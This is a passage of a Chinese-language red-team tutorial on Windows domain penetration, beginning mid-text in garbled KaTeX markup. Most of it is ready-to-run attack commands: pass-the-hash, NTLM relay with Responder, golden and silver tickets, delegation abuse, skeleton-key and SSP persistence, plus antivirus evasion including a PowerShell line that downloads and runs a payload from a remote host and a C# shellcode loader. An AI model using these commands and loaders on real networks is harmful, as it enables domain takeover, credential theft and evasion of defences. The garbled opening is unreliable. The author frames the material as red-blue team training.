classmspace stylemargin-right: 0.2778em;/spanspan classmrel::/spanspan classmspace stylemargin-right: 0.2778em;/span/spanspan classbasespan classstrut styleheight: 1em; vertical-align: -0.25em;/spanspan stylemargin-right: 0.0715em; classmord mathnormalC/spanspan classmord mathnormalre/spanspan classmord mathnormala/spanspan classmord mathnormalt/spanspan classmord mathnormale/spanspan stylemargin-right: 0.0785em; classmord mathnormalI/spanspan classmord mathnormaln/spanspan classmord mathnormals/spanspan classmord mathnormalt/spanspan classmord mathnormalan/spanspan classmord mathnormalce/spanspan classmopen(/span/span/span/span/spancom)br $item $obj.item()br span classkatex--inlineKaTeX parse error: Undefined control sequence: \windows at position 68: … calc.exe,c:\̲w̲i̲n̲d̲o̲w̲s̲\system32,/spannull,0)/p 方法三 $com [Type]::GetTypeFromCLSID(‘C08AFD90-F2A1-11D1-8455-00A0C91F3880’,“1.1.1.1”) o b j [ S y s t e m . A c t i v a t o r ] : : C r e a t e I n s t a n c e ( obj [System.Activator]::CreateInstance( /spanspan classkatex-htmlspan classbasespan classstrut styleheight: 0.8889em; vertical-align: -0.1944em;/spanspan classmord mathnormalo/spanspan stylemargin-right: 0.0572em; classmord mathnormalbj/spanspan classmspace stylemargin-right: 0.2778em;/spanspan classmrel/spanspan classmspace stylemargin-right: 0.2778em;/span/spanspan classbasespan classstrut styleheight: 1em; vertical-align: -0.25em;/spanspan classmopen[/spanspan stylemargin-right: 0.0576em; classmord mathnormalS/spanspan classmord mathnormalys/spanspan classmord mathnormalt/spanspan classmord mathnormale/spanspan classmord mathnormalm/spanspan classmord./spanspan classmord mathnormalA/spanspan classmord mathnormalc/spanspan classmord mathnormalt/spanspan classmord mathnormali/spanspan stylemargin-right: 0.0359em; classmord mathnormalv/spanspan classmord mathnormala/spanspan classmord mathnormalt/spanspan stylemargin-right: 0.0278em; classmord mathnormalor/spanspan classmclose]/spanspan classmspace stylemargin-right: 0.2778em;/spanspan classmrel::/spanspan classmspace stylemargin-right: 0.2778em;/span/spanspan classbasespan classstrut styleheight: 1em; vertical-align: -0.25em;/spanspan stylemargin-right: 0.0715em; classmord mathnormalC/spanspan classmord mathnormalre/spanspan classmord mathnormala/spanspan classmord mathnormalt/spanspan classmord mathnormale/spanspan stylemargin-right: 0.0785em; classmord mathnormalI/spanspan classmord mathnormaln/spanspan classmord mathnormals/spanspan classmord mathnormalt/spanspan classmord mathnormalan/spanspan classmord mathnormalce/spanspan classmopen(/span/span/span/span/spancom)br span classkatex--inlineKaTeX parse error: Undefined control sequence: \windows at position 67: … calc.exe,c:\̲w̲i̲n̲d̲o̲w̲s̲\system32,/spannull,0)/p i、WINRM winrs -r:http://1.1.1.1:5985 -u:Administrator -p:password “whoami” winrs -r:http://dcserver.jumbolab.com:5985 -u:jumbolab\administrator -p:password whoami 5.2、PTH
当我们没有明文账号密码只有hash时可以尝试hash传递。
5.2.1 impacket套件
项目地址https://github.com/SecureAuthCorp/impacket python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c domain/administrator1.1.1.1 “whoami” psexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:518B98AD4178A53695DC997AA02D455C domiain/administrator1.1.1.1 “whoami” smbexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:CCEF208C6485269C20DB2CAD21734FE7 domiain/administrator1.1.1.1 “whoami” 5.2.2 Invoke-TheHash套件
项目地址https://github.com/Kevin-Robertson/Invoke-TheHash/ Invoke-WMIExec -Target 1.1.1.1 -Domain test.local -Username username -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command “calc.exe” -verbose Invoke-SMBExec -Target 1.1.1.1 -Domain test.local -Username username -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command “calc.exe” -verbose 5.2.3 mimikatz
使用如下命令 privilege::debug sekurlsa::pth /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1 弹出cmd 安装KB2871997补丁后可以使用AES-256密钥进行hash传递 抓取AES-256密钥 mimikatz: privilege::debug sekurlsa::ekeys privilege::debug sekurlsa::pth /user:test1 /domain:test.local /aes256:aes256key 5.3、NTLM-Relay
上述都是“主动性”的攻击行为也就是主动去连接别人那我们也可以尝试“被动性”攻击当别人访问我们时或者说是无感知访问时我们能做什么操作 实验环境 win7172.16.127.184 普通域用户 win10172.16.127.170 域管 dcserver172.16.127.173 域控 kali172.16.127.129 攻击机 利用工具 Responder、impacket 5.3.1 LLMNR
先来一段百科介绍链路本地多播名称解析LLMNR是一个基于协议的域名系统DNS数据包的格式使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。它是包含在Windows Vista中Windows Server 2008中Windows 7中Windows 8中和的Windows 10。它也被实施systemd在Linux上-resolved。LLMNR定义在RFC 4795。
在DNS 服务器不可用时DNS 客户端计算机可以使用本地链路多播名称解析 (LLMNR—Link-Local Multicast Name Resolution)也称为多播 DNS 或 mDNS来解析本地网段上的名称。例如如果路由器出现故障从网络上的所有 DNS 服务器切断了子网则支持 LLMNR 的子网上的客户端可以继续在对等基础上解析名称直到网络连接还原为止。
除了在网络出现故障的情况下提供名称解析以外LLMNR 在建立临时对等网络例如机场候机区域方面也非常有用。
翻译成白话文怎么说你正常内网中如访问真实存在的机器如jumbo01,当有一天你不小心输成了不存在的机器jumbo02客户端就会问内网中谁是jumbo02啊有没有是jumbo02的人啊。
攻击手法v1.0 首先我们如果访问一台不存在的机器jumbo02是以下这个结果 那我们如果我们在客户端询问谁是jumbo02的时候应答他的话就是这个结果 攻击机执行 responder -I eth0 客户端访问jumbo02提示需要输入密码 输入密码后攻击机收到net-ntlm 收到net-ntlm以后我们就可以尝试利用hashcat进行破解等攻击。
5.3.2 WPAD
先来一段百科介绍网络代理自动发现协议Web Proxy Auto-Discovery ProtocolWPAD是一种客户端使用DHCP和/或DNS发现方法来定位一个配置文件URL的方法。在检测和下载配置文件后它可以执行配置文件以测定特定URL应使用的代理。
翻译成白话文怎么说就是你的上网配置、怎么上网如果你浏览器设置了上网自动检测设置默认配置客户端上网的时候就会问谁是wpad服务器啊你是wpad服务器啊然后拿着pac文件上网去了。
攻击手法v1.0
首先我们本身想访问存在的网站 www.chinabaiker.com ,可是不小心打错了一个字母或者多打少打了一个字母默认会直接跳到搜到引擎上去或者提示无法访问比如 www.chinabaikee.com 那如果我们伪造wpad服务器的话首先攻击机执行 responder -I eth0 -wFb 这里使用-b参数强制使用401认证 客户端访问一个不存在的域名时会跳出登录框 输入账号密码以后我们收到明文账号密码 从responder的信息反馈能得知实际上是利用wpad欺骗返回了一个401认证导致欺骗我们获取了其账号密码。
攻击手法v1.1 既然我们能够让客户端下载我们的pac就能在pac里面让客户端的流量走我们这边这里我利用msf配置burp演示代理抓取客户端流量。 攻击机执行 use auxiliary/spoof/nbns/nbns_response set regex WPAD set spoofip attackip run use auxiliary/server/wpad set proxy 172.16.127.155 run 打开burp以下只在非域内但是同一个网络中的机器的firefox成功
为什么会出现上面的问题呢实际上是因为MS16-077补丁问题。 In 2016 however, Microsoft published a security bulletin MS16-077, which mitigated this attack by adding two important protections: – The location of the WPAD file is no longer requested via broadcast protocols, but only via DNS. – Authentication does not occur automatically anymore even if this is requested by the server. 利用mitm6让客户端设置我们为ipv6 dns服务器 wpad成功在chrome上欺骗 PS以上成功还是在非域内机器。
攻击手法v2.0 上面说了多最重要的不过还是权限。大家应该知道smb relay但是这个漏洞很早就在MS08-068补丁中被修复了。但是这个不妨碍我们在未校验smb签名等情况下进行NTLM-Relay转发。我们执行responder首先关闭掉smb给接下来的ntlmrelayx使用。 responder -I eth0 ntlmrelayx.py -t 172.16.127.173 -l ./ 域管机器访问不存在的机器时会中继到域控机器我们成功获取shell
5.4、域信任
当存在子父域时默认其是双向信任。可以利用sid history跨域提权。流程大致如下 利用如下使用mimikatz获取子域的Krbtgt Hash lsadump::lsa /patch 再使用powerview获取父域的sid Get-DomainComputer -Domain jumbolab.com 然后添加一个sid519的企业管理员利用mimikatz执行如下命令 kerberos::golden /user:Administrator /krbtgt:5a1c26831592774a17f70370b8606449 /domain:child.jumbolab.com /sid:S-1-5-21-1786649982-4053697927-1628754434 /sids:S-1-5-21-4288736272-2299089681-4131927610-519 /ptt 最终成功获取父域权限
5.5、攻击Kerberos
在域中最核心的就是kerberos协议了但是也会出现各种安全问题甚至可以以一个普通域用户提权到system权限配置不当甚至可以获取到域控权限。
5.5.1 PTT
当我们抓取到了krbtgt hash时能做什么继续往下看。
5.5.1.1 金票据
上面提到了ms14-068也介绍Kerberos协议知道了TGT是由krbtgt加密而成。因此当拿到krbtgt账号hash时就可以构造一个任意权限的tgt了 使用方法 mimikatz kerberos::purge kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt: krbtgt hash值 /ticket:administrator.kiribi kerberos::ptt administrator.kiribi kerberos::tgt dir \dc.domain.com\c$ 5.5.1.2 银票据
上面的金票据是伪造的TGT银票据是伪造TGS由服务账号密码加密而成。 利用方法 mimikatz.exe “kerberos::golden /domain:域 /sid:SID /target:域控全称 /service:要访问的服务如cifs /rc4:NTLM计算机账号hash /user:user /ptt” dir \server\c$ 5.5.1.3kekeo
利用kekeo进行ptt kekeo “tgt::ask /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1” 执行后生成票据 TGT_test1TEST.LOCAL_krbtgt~test.localTEST.LOCAL.kirbi 接下来导入票据 kekeo “kerberos::ptt TGT_test1TEST.LOCAL_krbtgt~test.localTEST.LOCAL.kirbi” dir \server\c$ 5.5.2委派
5.5.2.1 基于资源的约束委派
流程图如下
个人简单理解为A机器设置基于资源的约束委派给B(设置msDS-AllowedToActOnBehalfOfOtherIdentity属性)则B可以通过s4u协议申请高权限票据对A进行利用。利用过程如下
普通域用户默认可以添加10个机器账号添加spnspnspn$并设置msds-allowedtoactonbehalfofotheridentity get-adcomputer win7 -properties principalsallowedtodelegatetoaccount 利用s4u协议申请高权限票据 getST.py -dc-ip 172.16.127.173 jumbolab.com/spnspnspn$:spnspnspn -spn cifs/win7.jumbolab.com -impersonate administrator 导入票据 export KRB5CCNAMEadministrator.ccache 访问目标机器 smbexec.py -no-pass -k -debug win7.jumbolab.com 5.5.2.2非约束委派
流程图如下 个人简单理解为user访问service1服务时如果service1服务开启了非约束委派则在user访问service1服务时会把自身的tgt发送给service1因此service1可以利用user的tgt去访问user可以访问的服务。利用过程如下
win7机器开启了非约束委派 下面我们再利用Spooler打印机服务错误强制让运行了spooler服务的机器通过kerberos或ntlm的方式连接指定的目标机器
SpoolSample.exedcserver win7
导出tgt mimikatz privilege::debug sekurlsa::tickets /export 导入票据 kerberos::ptt [0;1f9fc7]-2-0-60a10000-DCSERVER$krbtgt-JUMBOLAB.COM.kirbi win7机器即可获取所有用户hash
发现非约束委派机器可以用如下命令 查找域中配置非约束委派用户: Get-NetUser -Unconstrained -Domain jumbolab.com 查找域中配置非约束委派的主机 Get-NetComputer -Unconstrained -Domain jumbolab.com 5.5.2.3 约束委派
流程图如下 利用过程如下 存在服务用户test并设置约束委派 服务账号可以为一个域用户设置spn即可: setspn.exe -U -A test/test test 申请tgt kekeo tgt::ask /user:test /domain:jumbolab.com /password:aA123456 利用生成的tgt申请st kekeo tgs::s4u /tgt:TGT_testJUMBOLAB.COM_krbtgt~jumbolab.comJUMBOLAB.COM.kirbi /user:Administratorjumbolab.com /service:cifs/dcserver.jumbolab.com 导入st mimikatz kerberos::ptt TGS_Administratorjumbolab.comJUMBOLAB.COM_cifs~dcserver.jumbolab.comJUMBOLAB.COM.kirbi 发现约束委派机器可以用如下命令 查找域中配置约束委派用户: Get-DomainUser -TrustedToAuth -Domain jumbolab.com 查找域中配置约束委派的主机 Get-DomainComputer -TrustedToAuth -Domain jumbolab.com 六、域维权
当拿下域控后可以在域控上面做一些手脚以保证后续的权限维持甚至可以保证就算域控密码改了我们依然可以连接。
6.1、DSRM
该方法相当于重置了域控机器上的本地管理员密码。 DSRM目录服务还原模式是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。DSRM账户实际上就是“Administrator”也就是域控上面的本地管理员账号非域管理员账号。当建立域控时会让我们设置DSRM密码 我们用如下命令在域控上同步DSRM密码 ntdsutil set DSRM password SYNC FROM DOMAIN ACCOUNT username Q Q 即把DSRM重置成了和win7user用户一样的密码
6.2、GPO
当我们获取到管理员权限时可以通过添加组策略手段实现用户开机自启动。 域控上执行过程如下 打开gpmc.msc 编辑默认组策略 然后添加启动项 并在对应的组策略目录下添加你的文件 再执行如下命令强制刷新组策略 gpupdate /force 最终域内其他机器重启后就会执行对应的文件/脚本
6.3、SSP
SecuritySupport Provider理解为一个dll用来实现身份认证SecuritySupport Provider Interface理解为SSP的API用于执行各种与安全相关的操作如身份验证。
在系统启动的时候SSP会被加载到lsass.exe中,也就是说我们可以自定义一个dll在系统启动时加载到lsass.exe中。
利用mimikatz 1、将mimilib.dll复制到域控c:\windows\system32 2、添加注册表: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\SecurityPackages 添加mimilib.dll 3、重启后记录登录的密码 也可以不重启,利用RPC加载SSP。
6.4、Skeleton Key
利用mimikatz安装一个万能密码“mimikatz”实现代码可以参考如下 https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c privilege::debug misc::skeleton 当执行完上述命令后就可以使用“mimikatz”作为一个万能密码去连接域控该方法可用于当域控密码被改掉时我们依然可以去控制域控。
6.5、HookPasswordChangeNotify
通过往lsass.exe进程中注入dll达到通过Hook PasswordChangeNotify拦截修改的帐户密码。该方法可用于拦截域内修改的密码。 项目地址https://github.com/Jumbo-WJB/Misc-Windows-Hacking
七、免杀处理
在上述的攻击利用中出现了各种各样的工具但是现在的edr都对上述工具、上述手法都做了安全防护因此如何绕过av又是一段漫长的路。
7.1、Powershell
以常见的cs上线生成的powershell为例。当使用默认ps命令时会被直接拦截 我们先简单理解为拦截了这个命令那就先简单尝试下加点特殊符号而这个符号又不影响程序运行比如“^”但发现并不行 那我们尝试把这个命令copy出来并换个名字试试呢依然不行 但是改成txt就成功了 jp.txt -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://1.2.3.4:80/a’))” 7.2、抓密码工具免杀
渗透日常中密码抓取必不可少当看到域控在线工具被杀想抓密码怎么办 第一种配合上面的powershell绕过执行ps1版的mimikatz 第二种利用RPC加载SSP https://blog.xpnsec.com/exploring-mimikatz-part-2/ 让lsass.exe自己dump 内存 微软签名的procdump也可以 第三种对工具本身做免杀找个看起来无害化的工具 https://raw.githubusercontent.com/3gstudent/Homework-of-C-Language/master/sekurlsa-wdigest.cpp 如果手上没有IDE编译环境或者没有源码怎么办找个被杀的工具 用restorator工具加个版本信息成功免杀
7.3、源码免杀
找个内存加载的源码把shellcode加载执行。简单过程如下 申请内存-写入shellcode-创建线程执行 先利用cs生成shellcode 示例代码如下 using System; using System.Runtime.InteropServices; namespace TCPMeterpreterProcess { class Program { static void Main(string[] args) { // native function’s compiled code // generated with metasploit byte[] shellcode new byte[835] { 0x… }; UInt32 funcAddr VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread IntPtr.Zero; UInt32 threadId 0; // prepare data IntPtr pinfo IntPtr.Zero; // execute native code hThread CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); } private static UInt32 MEM_COMMIT 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE 0x40; [DllImport(“kernel32”)] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport(“kernel32”)] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); [DllImport(“kernel32”)] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport(“kernel32”)] private static extern bool CloseHandle(IntPtr handle); [DllImport(“kernel32”)] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); [DllImport(“kernel32”)] private static extern IntPtr GetModuleHandle( string moduleName ); [DllImport(“kernel32”)] private static extern UInt32 GetProcAddress( IntPtr hModule, string procName ); [DllImport(“kernel32”)] private static extern UInt32 LoadLibrary( string lpFileName ); [DllImport(“kernel32”)] private static extern UInt32 GetLastError(); } } 编译后成功绕过杀毒软件:
7.4、白名单免杀
我们可以使用windows自带的命令达到免杀的效果比如 msbuild 这里收集了几个执行shellcode的常用白名单 https://github.com/Jumbo-WJB/windows_exec_ways
总结
本文介绍了内网渗透的攻击手法和利用工具也有绕过AV安全防护的突破手段。希望借此提高大家内网渗透攻击和防御水平。当然不可能面面俱到比如ACL配置不当造成的提权、mimikatz等工具的源码解读还需要大家一起慢慢品味。
文中涉及的技术信息只限用于技术交流切勿用于非法用途。欢迎探讨交流行文仓促不足之处敬请不吝批评指正。
最后感谢腾讯蓝军多位前辈同事的帮助和指导。同时预告一下也算是立个flag为了让红蓝对抗不用过于依靠个人经验和能力以及提升对抗效率腾讯蓝军的红蓝对抗自动化工具平台正在筹建中希望投入实战后有机会再跟大家一起交流学习。
【附录】 相关文章 网络空间安全时代的红蓝对抗建设 https://security.tencent.com/index.php/blog/msg/139 以攻促防企业蓝军建设思考 https://security.tencent.com/index.php/blog/msg/133
部分工具地址 Rubeus https://github.com/GhostPack/Rubeus
PowerView https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Seatbelt https://github.com/GhostPack/Seatbelt
Bloodhound https://github.com/BloodHoundAD/BloodHound
Ruler https://github.com/sensepost/ruler
MailSniper https://github.com/dafthack/MailSniper
ReGeorg https://github.com/sensepost/reGeorg
EarthWorm https://github.com/rootkiter/EarthWorm
PowerCat https://github.com/besimorhino/powercat
Mimikatz https://github.com/gentilkiwi/mimikatz
Tgsrepcrack https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
Kerbrute https://github.com/ropnop/kerbrute
Responder https://github.com/lgandx/Responder /article